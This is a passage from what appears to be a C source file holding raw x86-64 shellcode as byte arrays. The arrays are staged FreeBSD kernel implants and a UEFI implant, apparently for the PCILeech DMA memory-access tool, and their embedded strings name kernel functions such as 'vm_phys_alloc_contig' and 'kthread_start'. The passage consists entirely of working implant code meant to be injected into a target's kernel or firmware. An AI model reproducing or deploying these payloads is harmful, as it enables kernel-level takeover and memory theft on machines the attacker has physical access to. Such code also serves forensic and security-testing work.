0xbe, 0x00, 0x00,\n    0x00, 0x00, 0x80, 0x11, 0x00, 0x00, 0x48, 0x89, 0x73, 0x58, 0x48, 0x8b,\n    0x83, 0xf8, 0x0f, 0x00, 0x00, 0x4c, 0x89, 0x63, 0x30, 0x48, 0x85, 0xc0,\n    0x75, 0x25, 0x49, 0x03, 0xec, 0x48, 0xb8, 0x00, 0xe4, 0x0b, 0x54, 0x02,\n    0x00, 0x00, 0x00, 0x48, 0x3b, 0xe8, 0x76, 0xde, 0x48, 0x8b, 0x8b, 0x30,\n    0x03, 0x00, 0x00, 0xba, 0x64, 0x00, 0x00, 0x00, 0xe8, 0xc5, 0xfc, 0xff,\n    0xff, 0xeb, 0xcb, 0x48, 0xc7, 0x43, 0x30, 0x02, 0x00, 0x00, 0x00, 0x48,\n    0x83, 0xf8, 0x03, 0x0f, 0x84, 0x20, 0x01, 0x00, 0x00, 0x48, 0x83, 0xf8,\n    0x04, 0x75, 0x17, 0x48, 0x8b, 0x53, 0x28, 0x4c, 0x8d, 0x43, 0x48, 0x48,\n    0x8b, 0xcb, 0xe8, 0xdd, 0xfc, 0xff, 0xff, 0x48, 0x63, 0xc8, 0x48, 0x89,\n    0x4b, 0x38, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x05, 0x75, 0x17,\n    0x4c, 0x8d, 0x83, 0x20, 0x02, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x48, 0x8d,\n    0x93, 0x20, 0x01, 0x00, 0x00, 0xff, 0xd7, 0x4c, 0x89, 0x63, 0x38, 0x48,\n    0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x49, 0x2b, 0xc4, 0x49, 0x3b, 0xc4,\n    0x77, 0x7a, 0x33, 0xc9, 0x48, 0x8d, 0x96, 0x00, 0x20, 0x00, 0x00, 0x48,\n    0x8b, 0x43, 0x40, 0x49, 0xb8, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x80, 0x48, 0x25, 0x00, 0xf0, 0xff, 0xff, 0x48, 0x03, 0xc1, 0x48, 0x81,\n    0xc1, 0x00, 0x10, 0x00, 0x00, 0x49, 0x0b, 0xc0, 0x48, 0x89, 0x02, 0x48,\n    0x8d, 0x52, 0x08, 0x49, 0x3b, 0xcd, 0x72, 0xd3, 0xe8, 0x5d, 0xfc, 0xff,\n    0xff, 0x4c, 0x8b, 0x4b, 0x48, 0x48, 0x8b, 0x8b, 0x40, 0x03, 0x00, 0x00,\n    0x4c, 0x39, 0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x75, 0x13, 0x44, 0x8b, 0x43,\n    0x40, 0x48, 0x8b, 0xd7, 0x41, 0x81, 0xe0, 0xff, 0x0f, 0x00, 0x00, 0x4d,\n    0x2b, 0xc6, 0xeb, 0x0f, 0x8b, 0x53, 0x40, 0x4c, 0x8b, 0xc7, 0x81, 0xe2,\n    0xff, 0x0f, 0x00, 0x00, 0x49, 0x2b, 0xd6, 0xe8, 0xee, 0xfb, 0xff, 0xff,\n    0x4c, 0x89, 0x63, 0x38, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x06,\n    0x75, 0x1b, 0x4c, 0x8b, 0x4b, 0x48, 0x48, 0x8b, 0xd7, 0x4c, 0x8b, 0x43,\n    0x40, 0x48, 0x8b, 0x8b, 0x40, 0x03, 0x00, 0x00, 0xe8, 0xc9, 0xfb, 0xff,\n    0xff, 0x4c, 0x89, 0x63, 0x38, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00,\n    0x07, 0x75, 0x1b, 0x4c, 0x8b, 0x4b, 0x48, 0x4c, 0x8b, 0xc7, 0x48, 0x8b,\n    0x53, 0x40, 0x48, 0x8b, 0x8b, 0x40, 0x03, 0x00, 0x00, 0xe8, 0xa4, 0xfb,\n    0xff, 0xff, 0x4c, 0x89, 0x63, 0x38, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00,\n    0x00, 0x00, 0x33, 0xed, 0xe9, 0x99, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0x8b,\n    0x18, 0x03, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0xf0, 0x45, 0x8b, 0xc5,\n    0x48, 0x89, 0x43, 0x30, 0x48, 0x8b, 0xd7, 0xe8, 0x76, 0xfb, 0xff, 0xff,\n    0x48, 0x83, 0x63, 0x20, 0x00, 0x48, 0xb8, 0xe8, 0x0e, 0x00, 0x00, 0x80,\n    0xff, 0xff, 0xff, 0x48, 0x83, 0x63, 0x28, 0x00, 0x41, 0xb8, 0x00, 0xa0,\n    0x00, 0x00, 0x4c, 0x8b, 0xb4, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8b,\n    0xd6, 0x49, 0x83, 0x24, 0x06, 0x00, 0x48, 0x8b, 0x8b, 0x18, 0x03, 0x00,\n    0x00, 0xe8, 0x40, 0xfb, 0xff, 0xff, 0x48, 0x83, 0x23, 0x00, 0x48, 0x83,\n    0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x00, 0x4c, 0x89, 0x63, 0x38, 0xeb, 0x10,\n    0xb8, 0x04, 0x00, 0x00, 0xf0, 0xeb, 0x05, 0xb8, 0x03, 0x00, 0x00, 0xf0,\n    0x48, 0x89, 0x43, 0x30, 0x48, 0x83, 0xc4, 0x30, 0x41, 0x5e, 0x41, 0x5d,\n    0x41, 0x5c, 0x5f, 0x5e, 0x5d, 0x5b, 0xc3\n};\n\nconst BYTE FREEBSD_X64_STAGE1_BIN[] = {\n    0xe8, 0xfb, 0xff, 0xff, 0xff\n};\n\nconst BYTE FREEBSD_X64_STAGE2_BIN[] = {\n    0xeb, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x48, 0x83, 0xe8,\n    0x05, 0x50, 0x57, 0x56, 0x52, 0x51, 0x41, 0x50, 0x41, 0x51, 0x41, 0x54,\n    0x41, 0x55, 0x41, 0x56, 0x48, 0x8b, 0x15, 0xd9, 0xff, 0xff, 0xff, 0x48,\n    0x89, 0x10, 0xb0, 0x00, 0xb2, 0x01, 0x48, 0x8d, 0x0d, 0xc5, 0xff, 0xff,\n    0xff, 0xf0, 0x0f, 0xb0, 0x11, 0x75, 0x15, 0x8b, 0x05, 0xc7, 0xff, 0xff,\n    0xff, 0x4c, 0x8d, 0x35, 0xb0, 0xff, 0xff, 0xff, 0x4c, 0x03, 0xf0, 0xe8,\n    0x0f, 0x00, 0x00, 0x00, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x41, 0x59,\n    0x41, 0x58, 0x59, 0x5a, 0x5e, 0x5f, 0xc3, 0x48, 0x8d, 0x3d, 0xeb, 0x00,\n    0x00, 0x00, 0xe8, 0x8f, 0x00, 0x00, 0x00, 0x4d, 0x33, 0xc0, 0xb9, 0x00,\n    0x10, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x80, 0x48, 0x33, 0xf6, 0xbf,\n    0x02, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x4c, 0x8b, 0x68, 0x30, 0x49, 0xbc,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xff, 0xff, 0x4d, 0x03, 0xe5, 0x49,\n    0x8b, 0xfc, 0xe8, 0xa9, 0x00, 0x00, 0x00, 0x48, 0xb8, 0x48, 0x8d, 0x05,\n    0xf1, 0xff, 0xff, 0xff, 0x48, 0x49, 0x89, 0x84, 0x24, 0x00, 0x10, 0x00,\n    0x00, 0x48, 0xb8, 0x8b, 0x00, 0x48, 0x83, 0xf8, 0x00, 0x74, 0xf0, 0x49,\n    0x89, 0x84, 0x24, 0x08, 0x10, 0x00, 0x00, 0x48, 0x8d, 0x3d, 0xa0, 0x00,\n    0x00, 0x00, 0xe8, 0x2f, 0x00, 0x00, 0x00, 0x6a, 0x00, 0xbf, 0x00, 0x10,\n    0x00, 0x00, 0x49, 0x03, 0xfc, 0x57, 0x48, 0x8d, 0x3d, 0x97, 0x00, 0x00,\n    0x00, 0x57, 0x48, 0x8b, 0xfc, 0xff, 0xd0, 0x58, 0x58, 0x58, 0x4d, 0x89,\n    0x74, 0x24, 0x58, 0x44, 0x89, 0x2d, 0x0a, 0xff, 0xff, 0xff, 0xc6, 0x05,\n    0x02, 0xff, 0xff, 0xff, 0x66, 0xc3, 0x49, 0x8b, 0xce, 0x48, 0x83, 0xe9,\n    0x08, 0x48, 0x83, 0xe9, 0x18, 0x48, 0x8b, 0x01, 0x48, 0x85, 0xc0, 0x74,\n    0x14, 0x8b, 0x31, 0x49, 0x03, 0xf6, 0xe8, 0x0e, 0x00, 0x00, 0x00, 0x48,\n    0x85, 0xc0, 0x75, 0xe5, 0x48, 0x8b, 0x41, 0x08, 0xc3, 0x48, 0x33, 0xc0,\n    0xc3, 0x51, 0x48, 0x33, 0xc9, 0x48, 0xff, 0xc9, 0x48, 0xff, 0xc1, 0x8a,\n    0x04, 0x39, 0x3a, 0x04, 0x31, 0x75, 0x09, 0x3c, 0x00, 0x75, 0xf1, 0x48,\n    0x33, 0xc0, 0x59, 0xc3, 0xb0, 0x01, 0x59, 0xc3, 0x48, 0x33, 0xc0, 0xb9,\n    0x00, 0x04, 0x00, 0x00, 0xfc, 0xf3, 0x48, 0xab, 0xc3, 0x76, 0x6d, 0x5f,\n    0x70, 0x68, 0x79, 0x73, 0x5f, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x5f, 0x63,\n    0x6f, 0x6e, 0x74, 0x69, 0x67, 0x00, 0x6b, 0x74, 0x68, 0x72, 0x65, 0x61,\n    0x64, 0x5f, 0x73, 0x74, 0x61, 0x72, 0x74, 0x00, 0x70, 0x63, 0x69, 0x6c,\n    0x65, 0x65, 0x63, 0x68, 0x00\n};\n\nconst BYTE FREEBSD_X64_STAGE3_BIN[] = {\n    0x48, 0x8d, 0x05, 0xf1, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x00, 0x48, 0x83,\n    0xf8, 0x00, 0x74, 0xf0, 0x48, 0x8d, 0x0d, 0xe9, 0xef, 0xff, 0xff, 0xc8,\n    0x20, 0x00, 0x00, 0xe8, 0xd0, 0x01, 0x00, 0x00, 0xc9, 0xc3, 0x51, 0x48,\n    0x33, 0xc9, 0x48, 0xff, 0xc9, 0x48, 0xff, 0xc1, 0x8a, 0x04, 0x39, 0x3a,\n    0x04, 0x31, 0x75, 0x09, 0x3c, 0x00, 0x75, 0xf1, 0x48, 0x33, 0xc0, 0x59,\n    0xc3, 0xb0, 0x01, 0x59, 0xc3, 0x57, 0x56, 0x48, 0x8b, 0xfa, 0x48, 0x8b,\n    0x49, 0x58, 0x48, 0x8b, 0xd1, 0x48, 0x83, 0xe9, 0x08, 0x48, 0x83, 0xe9,\n    0x18, 0x48, 0x8b, 0x01, 0x48, 0x85, 0xc0, 0x74, 0x16, 0x8b, 0x31, 0x48,\n    0x03, 0xf2, 0xe8, 0xbb, 0xff, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x75, 0xe5,\n    0x48, 0x8b, 0x41, 0x08, 0x5e, 0x5f, 0xc3, 0x48, 0x33, 0xc0, 0x5e, 0x5f,\n    0xc3, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x4c, 0x8b, 0xe4,\n    0x4c, 0x8b, 0xf9, 0x4c, 0x8b, 0xf2, 0x49, 0xc7, 0xc5, 0x38, 0x00, 0x00,\n    0x00, 0x48, 0x8d, 0x05, 0x65, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05,\n    0x68, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x6d, 0x00, 0x00, 0x00,\n    0x50, 0x48, 0x8d, 0x05, 0x6c, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05,\n    0x6b, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x6d, 0x00, 0x00, 0x00,\n    0x50, 0x48, 0x8d, 0x05, 0x7a, 0x00, 0x00, 0x00, 0x50, 0x49, 0x83, 0xed,\n    0x08, 0x49, 0x8b, 0xcf, 0x5a, 0xe8, 0x6b, 0xff, 0xff, 0xff, 0x48, 0x85,\n    0xc0, 0x74, 0x13, 0x4b, 0x89, 0x44, 0x35, 0x00, 0x4d, 0x85, 0xed, 0x75,\n    0xe4, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x03, 0x48, 0x33,\n    0xc0, 0x49, 0x8b, 0xe4, 0x41, 0x5c, 0x41, 0x5d, 0x41, 0x5e, 0x41, 0x5f,\n    0xc3, 0x64, 0x75, 0x6d, 0x70, 0x5f, 0x61, 0x76, 0x61, 0x69, 0x6c, 0x00,\n    0x6b, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x5f, 0x65, 0x78, 0x69, 0x74,\n    0x00, 0x6d, 0x65, 0x6d, 0x63, 0x70, 0x79, 0x00, 0x6d, 0x65, 0x6d, 0x73,\n    0x65, 0x74, 0x00, 0x70, 0x61, 0x75, 0x73, 0x65, 0x5f, 0x73, 0x62, 0x74,\n    0x00, 0x76, 0x6d, 0x5f, 0x70, 0x68, 0x79, 0x73, 0x5f, 0x61, 0x6c, 0x6c,\n    0x6f, 0x63, 0x5f, 0x63, 0x6f, 0x6e, 0x74, 0x69, 0x67, 0x00, 0x76, 0x6d,\n    0x5f, 0x70, 0x68, 0x79, 0x73, 0x5f, 0x66, 0x72, 0x65, 0x65, 0x5f, 0x63,\n    0x6f, 0x6e, 0x74, 0x69, 0x67, 0x00, 0x48, 0x8b, 0xc1, 0x57, 0x56, 0x41,\n    0x56, 0x41, 0x57, 0x48, 0x8b, 0xfa, 0x49, 0x8b, 0xf0, 0x49, 0x8b, 0xd1,\n    0x48, 0x8b, 0x4c, 0x24, 0x48, 0x4c, 0x8b, 0x44, 0x24, 0x50, 0x4c, 0x8b,\n    0x4c, 0x24, 0x58, 0x4c, 0x8b, 0xfc, 0x4c, 0x8b, 0x74, 0x24, 0x78, 0x41,\n    0x56, 0x4c, 0x8b, 0x74, 0x24, 0x78, 0x41, 0x56, 0x4c, 0x8b, 0x74, 0x24,\n    0x78, 0x41, 0x56, 0x4c, 0x8b, 0x74, 0x24, 0x78, 0x41, 0x56, 0xff, 0xd0,\n    0x49, 0x8b, 0xe7, 0x41, 0x5f, 0x41, 0x5e, 0x5e, 0x5f, 0xc3, 0xcc, 0xcc,\n    0x4c, 0x8b, 0x51, 0x28, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0x91, 0x00, 0x03,\n    0x00, 0x00, 0x4c, 0x8b, 0xc9, 0x4c, 0x2b, 0xd2, 0x48, 0x8b, 0x02, 0x48,\n    0x85, 0xc0, 0x75, 0x06, 0x48, 0x39, 0x42, 0x08, 0x74, 0x19, 0x49, 0x89,\n    0x04, 0x12, 0x49, 0xff, 0xc0, 0x48, 0x8b, 0x4a, 0x08, 0x48, 0x2b, 0x0a,\n    0x49, 0x89, 0x4c, 0x12, 0x08, 0x48, 0x83, 0xc2, 0x10, 0xeb, 0xd9, 0x49,\n    0xc1, 0xe0, 0x04, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x4d, 0x89, 0x41, 0x48,\n    0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74,\n    0x24, 0x10, 0x48, 0x89, 0x7c, 0x24, 0x18, 0x41, 0x54, 0x41, 0x56, 0x41,\n    0x57, 0x48, 0x83, 0xec, 0x30, 0x48, 0xb8, 0x77, 0x33, 0x33, 0x11, 0x77,\n    0x33, 0x11, 0xff, 0x48, 0xc7, 0x41, 0x50, 0x08, 0x00, 0x00, 0x00, 0x48,\n    0x8d, 0x91, 0x00, 0x03, 0x00, 0x00, 0x48, 0x89, 0x01, 0x48, 0x8b, 0xd9,\n    0x33, 0xff, 0xe8, 0x4a, 0xfe, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x0e, 0xb8,\n    0x01, 0x00, 0x00, 0xf0, 0x48, 0x89, 0x43, 0x30, 0xe9, 0x0e, 0x02, 0x00,\n    0x00, 0x48, 0x21, 0x7c, 0x24, 0x28, 0x41, 0xbe, 0x00, 0x10, 0x00, 0x00,\n    0x48, 0x8b, 0x8b, 0x28, 0x03, 0x00, 0x00, 0x41, 0xbf, 0x00, 0x00, 0x00,\n    0xf0, 0x45, 0x8b, 0xcf, 0x48, 0xc7, 0x43, 0x18, 0x00, 0x00, 0x00, 0x01,\n    0x41, 0x8b, 0xd6, 0x44, 0x89, 0x74, 0x24, 0x20, 0x45, 0x33, 0xc0, 0xe8,\n    0xe2, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x75, 0x34,\n    0x48, 0x21, 0x7c, 0x24, 0x28, 0x45, 0x8b, 0xcf, 0x48, 0x8b, 0x8b, 0x28,\n    0x03, 0x00, 0x00, 0x45, 0x33, 0xc0, 0xba, 0x00, 0x04, 0x00, 0x00, 0x44,\n    0x89, 0x74, 0x24, 0x20, 0x48, 0xc7, 0x43, 0x18, 0x00, 0x00, 0x40, 0x00,\n    0xe8, 0xb1, 0xfe, 0xff, 0xff, 0x48, 0x21, 0x7b, 0x18, 0xb8, 0x02, 0x00,\n    0x00, 0xf0, 0xeb, 0x88, 0x48, 0x8b, 0x40, 0x30, 0x49, 0xbc, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0xf8, 0xff, 0xff, 0x48, 0x89, 0x43, 0x20, 0x41, 0xbe,\n    0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x46, 0x30, 0x49, 0x0b, 0xc4, 0x48,\n    0x89, 0x43, 0x28, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x4c, 0x89,\n    0x73, 0x30, 0x48, 0x85, 0xc0, 0x75, 0x36, 0x49, 0x03, 0xfe, 0x48, 0xb8,\n    0x00, 0xe4, 0x0b, 0x54, 0x02, 0x00, 0x00, 0x00, 0x48, 0x3b, 0xf8, 0x76,\n    0xde, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x48, 0x8d, 0x15, 0xfe, 0x0c,\n    0x00, 0x00, 0x48, 0x8b, 0x8b, 0x20, 0x03, 0x00, 0x00, 0x45, 0x33, 0xc9,\n    0x41, 0xb8, 0x37, 0x89, 0x41, 0x00, 0xe8, 0x3f, 0xfe, 0xff, 0xff, 0xeb,\n    0xba, 0x48, 0xc7, 0x43, 0x30, 0x02, 0x00, 0x00, 0x00, 0x48, 0x83, 0xf8,\n    0x03, 0x0f, 0x84, 0xe3, 0x00, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x04, 0x75,\n    0x0f, 0x48, 0x8b, 0xcb, 0xe8, 0x6b, 0xfe, 0xff, 0xff, 0x48, 0x63, 0xc8,\n    0x48, 0x89, 0x4b, 0x38, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x05,\n    0x75, 0x18, 0x4c, 0x8d, 0x83, 0x20, 0x02, 0x00, 0x00, 0x48, 0x8b, 0xcb,\n    0x48, 0x8d, 0x93, 0x20, 0x01, 0x00, 0x00, 0xff, 0x53, 0x28, 0x4c, 0x89,\n    0x73, 0x38, 0x4c, 0x39, 0xb3, 0xf8, 0x0f, 0x00, 0x00, 0x75, 0x1f, 0x4c,\n    0x8b, 0x43, 0x40, 0x4c, 0x8b, 0x4b, 0x48, 0x4d, 0x0b, 0xc4, 0x48, 0x8b,\n    0x53, 0x28, 0x48, 0x8b, 0x8b, 0x10, 0x03, 0x00, 0x00, 0xe8, 0xd0, 0xfd,\n    0xff, 0xff, 0x4c, 0x89, 0x73, 0x38, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00,\n    0x00, 0x02, 0x75, 0x1f, 0x48, 0x8b, 0x53, 0x40, 0x4c, 0x8b, 0x4b, 0x48,\n    0x49, 0x0b, 0xd4, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b, 0x8b, 0x10, 0x03,\n    0x00, 0x00, 0xe8, 0xa7, 0xfd, 0xff, 0xff, 0x4c, 0x89, 0x73, 0x38, 0x48,\n    0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x06, 0x75, 0x1c, 0x4c, 0x8b, 0x4b,\n    0x48, 0x4c, 0x8b, 0x43, 0x40, 0x48, 0x8b, 0x53, 0x28, 0x48, 0x8b, 0x8b,\n    0x10, 0x03, 0x00, 0x00, 0xe8, 0x81, 0xfd, 0xff, 0xff, 0x4c, 0x89, 0x73,\n    0x38, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x07, 0x75, 0x1c, 0x4c,\n    0x8b, 0x4b, 0x48, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b, 0x53, 0x40, 0x48,\n    0x8b, 0x8b, 0x10, 0x03, 0x00, 0x00, 0xe8, 0x5b, 0xfd, 0xff, 0xff, 0x4c,\n    0x89, 0x73, 0x38, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x00, 0x33,\n    0xff, 0xe9, 0xc5, 0xfe, 0xff, 0xff, 0x4c, 0x8b, 0x43, 0x18, 0x48, 0x8b,\n    0xd6, 0x48, 0x8b, 0x8b, 0x30, 0x03, 0x00, 0x00, 0x49, 0xc1, 0xe8, 0x0c,\n    0x4c, 0x89, 0x7b, 0x30, 0xe8, 0x2d, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x8b,\n    0x08, 0x03, 0x00, 0x00, 0x48, 0x83, 0x63, 0x20, 0x00, 0x48, 0x83, 0x63,\n    0x28, 0x00, 0x48, 0x83, 0x23, 0x00, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00,\n    0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0xe8, 0x07, 0xfd, 0xff, 0xff, 0x48,\n    0x8b, 0x5c, 0x24, 0x50, 0x48, 0x8b, 0x74, 0x24, 0x58, 0x48, 0x8b, 0x7c,\n    0x24, 0x60, 0x48, 0x83, 0xc4, 0x30, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5c,\n    0xc3\n};\n\nconst BYTE UEFI_X64_BIN[] = {\n    0xeb, 0x0e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x53, 0x51, 0x52, 0x57, 0x56, 0x41, 0x50, 0x41,\n    0x51, 0x41, 0x52, 0x41, 0x53, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41,\n    0x57, 0x55, 0x8b, 0x05, 0xdc, 0xff, 0xff, 0xff, 0x8b, 0x0d, 0xda, 0xff,\n    0xff, 0xff, 0x89, 0x08, 0x48, 0x8d, 0x0d, 0xc5, 0xff, 0xff, 0xff, 0x48,\n    0x81, 0xe9, 0x00, 0x10, 0x00, 0x00, 0x8b, 0x15, 0xbc, 0xff, 0xff, 0xff,\n    0x48, 0x8b, 0xec, 0x48, 0x83, 0xec, 0x20, 0x48, 0x83, 0xe4, 0xf0, 0xe8,\n    0xc4, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xe5, 0x5d, 0x41, 0x5f, 0x41, 0x5e,\n    0x41, 0x5d, 0x41, 0x5c, 0x41, 0x5b, 0x41, 0x5a, 0x41, 0x59, 0x41, 0x58,\n    0x5e, 0x5f, 0x5a, 0x59, 0x5b, 0x8b, 0x05, 0x95, 0xff, 0xff, 0xff, 0xff,\n    0xe0, 0x8b, 0x05, 0x85, 0xff, 0xff, 0xff, 0x48, 0x83, 0xc0, 0x60, 0x48,\n    0x8b, 0x00, 0x49, 0x03, 0xc2, 0x48, 0x8b, 0x00, 0xff, 0xe0, 0x49, 0xc7,\n    0xc2, 0x38, 0x00, 0x00, 0x00, 0xeb, 0xe2, 0x49, 0xc7, 0xc2, 0x68, 0x01,\n    0x00, 0x00, 0xeb, 0xd9, 0x49, 0xc7, 0xc2, 0x60, 0x01, 0x00, 0x00, 0xeb,\n    0xd0, 0x49, 0xc7, 0xc2, 0x00, 0x01, 0x00, 0x00, 0xeb, 0xc7, 0x49, 0xc7,\n    0xc2, 0x28, 0x00, 0x00, 0x00, 0xeb, 0xbe, 0x49, 0xc7, 0xc2, 0x30, 0x00,\n    0x00, 0x00, 0xeb, 0xb5, 0x4c, 0x8b, 0xdc, 0x53, 0x55, 0x56, 0x57, 0x48,\n    0x83, 0xec, 0x38, 0x48, 0x8b, 0x41, 0x18, 0x4d, 0x8d, 0x4b, 0x10, 0x48,\n    0x8b, 0xd9, 0x4d, 0x8d, 0x43, 0x20, 0xb9, 0x00, 0x00, 0x10, 0x00, 0x33,\n    0xed, 0x48, 0x2b, 0xc1, 0x33, 0xf6, 0x49, 0x89, 0x43, 0x08, 0x33, 0xff,\n    0x48, 0x8b, 0x53, 0x20, 0x49, 0x8d, 0x43, 0x18, 0x48, 0x03, 0xd1, 0x49,\n    0x89, 0x43, 0xc8, 0x49, 0x8d, 0x4b, 0x08, 0xe8, 0x86, 0xff, 0xff, 0xff,\n    0x48, 0x85, 0xc0, 0x74, 0x07, 0x33, 0xc0, 0xe9, 0x86, 0x00, 0x00, 0x00,\n    0x4c, 0x8b, 0x4c, 0x24, 0x60, 0x4d, 0x85, 0xc9, 0x74, 0x2c, 0x4c, 0x8b,\n    0x43, 0x20, 0x49, 0x81, 0xc0, 0x08, 0x00, 0x10, 0x00, 0x49, 0x8b, 0x50,\n    0x10, 0x48, 0xc1, 0xe2, 0x0c, 0x49, 0x03, 0x10, 0x48, 0x3b, 0xfa, 0x48,\n    0x0f, 0x46, 0xfa, 0x48, 0x03, 0x6c, 0x24, 0x68, 0x4c, 0x03, 0x44, 0x24,\n    0x68, 0x49, 0x3b, 0xe9, 0x72, 0xdf, 0x48, 0x8b, 0x43, 0x20, 0x48, 0xc7,\n    0x43, 0x48, 0x10, 0x00, 0x00, 0x00, 0x48, 0x21, 0x30, 0x48, 0x8d, 0x50,\n    0x08, 0x48, 0x21, 0x32, 0x48, 0x85, 0xff, 0x74, 0x30, 0x33, 0xc9, 0x48,\n    0x39, 0x4c, 0x24, 0x60, 0x76, 0x1a, 0x4c, 0x8b, 0x43, 0x20, 0x49, 0x3b,\n    0xb4, 0x08, 0x08, 0x00, 0x10, 0x00, 0x74, 0x27, 0x48, 0x03, 0x4c, 0x24,\n    0x68, 0x48, 0x3b, 0x4c, 0x24, 0x60, 0x72, 0xea, 0xb8, 0x00, 0x10, 0x00,\n    0x00, 0x48, 0x03, 0xf0, 0x48, 0x3b, 0xf7, 0x72, 0xd0, 0xb8, 0x01, 0x00,\n    0x00, 0x00, 0x48, 0x83, 0xc4, 0x38, 0x5f, 0x5e, 0x5d, 0x5b, 0xc3, 0x41,\n    0x8b, 0x84, 0x08, 0x00, 0x00, 0x10, 0x00, 0x83, 0xf8, 0x0d, 0x77, 0x5a,\n    0x41, 0xb9, 0xfe, 0x26, 0x00, 0x00, 0x41, 0x0f, 0xa3, 0xc1, 0x73, 0x4e,\n    0x4c, 0x8b, 0x12, 0x4c, 0x8b, 0x4a, 0xf8, 0x4d, 0x03, 0xca, 0x4d, 0x3b,\n    0x8c, 0x08, 0x08, 0x00, 0x10, 0x00, 0x75, 0x11, 0x49, 0x8b, 0x84, 0x08,\n    0x18, 0x00, 0x10, 0x00, 0x48, 0xc1, 0xe0, 0x0c, 0x49, 0x03, 0xc2, 0xeb,\n    0x26, 0x4d, 0x85, 0xc9, 0x74, 0x09, 0x48, 0x83, 0x43, 0x48, 0x10, 0x48,\n    0x83, 0xc2, 0x10, 0x49, 0x8b, 0x84, 0x08, 0x08, 0x00, 0x10, 0x00, 0x48,\n    0x89, 0x42, 0xf8, 0x49, 0x8b, 0x84, 0x08, 0x18, 0x00, 0x10, 0x00, 0x48,\n    0xc1, 0xe0, 0x0c, 0x48, 0x89, 0x02, 0x49, 0x8b, 0x84, 0x08, 0x18, 0x00,\n    0x10, 0x00, 0x48, 0xc1, 0xe0, 0x0c, 0xe9, 0x72, 0xff, 0xff, 0xff, 0xcc,\n    0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x6c, 0x24, 0x18, 0x57, 0x48,\n    0x83, 0xec, 0x20, 0x48, 0x8b, 0xda, 0x45, 0x33, 0xc0, 0xba, 0x00, 0x10,\n    0x00, 0x00, 0x48, 0x8b, 0xf9, 0xe8, 0x59, 0xfe, 0xff, 0xff, 0xba, 0x04,\n    0x00, 0x00, 0x00, 0x48, 0xc7, 0x47, 0x50, 0x10, 0x00, 0x00, 0x00, 0x48,\n    0xb8, 0x77, 0x33, 0x33, 0x11, 0x77, 0x33, 0x11, 0xff, 0x4c, 0x8d, 0x4c,\n    0x24, 0x30, 0x48, 0x89, 0x07, 0xbd, 0xff, 0xff, 0xff, 0xff, 0x48, 0x89,\n    0x5f, 0x58, 0x41, 0xb8, 0x00, 0x10, 0x00, 0x00, 0x8d, 0x5a, 0xfd, 0x48,\n    0x89, 0x6c, 0x24, 0x30, 0x8b, 0xcb, 0x48, 0xc7, 0x47, 0x18, 0x00, 0x00,\n    0x00, 0x01, 0xe8, 0x2f, 0xfe, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x74, 0x31,\n    0x4c, 0x8d, 0x4c, 0x24, 0x30, 0x48, 0x89, 0x6c, 0x24, 0x30, 0x8d, 0x53,\n    0x03, 0x48, 0xc7, 0x47, 0x18, 0x00, 0x00, 0x40, 0x00, 0x41, 0xb8, 0x00,\n    0x04, 0x00, 0x00, 0x8b, 0xcb, 0xe8, 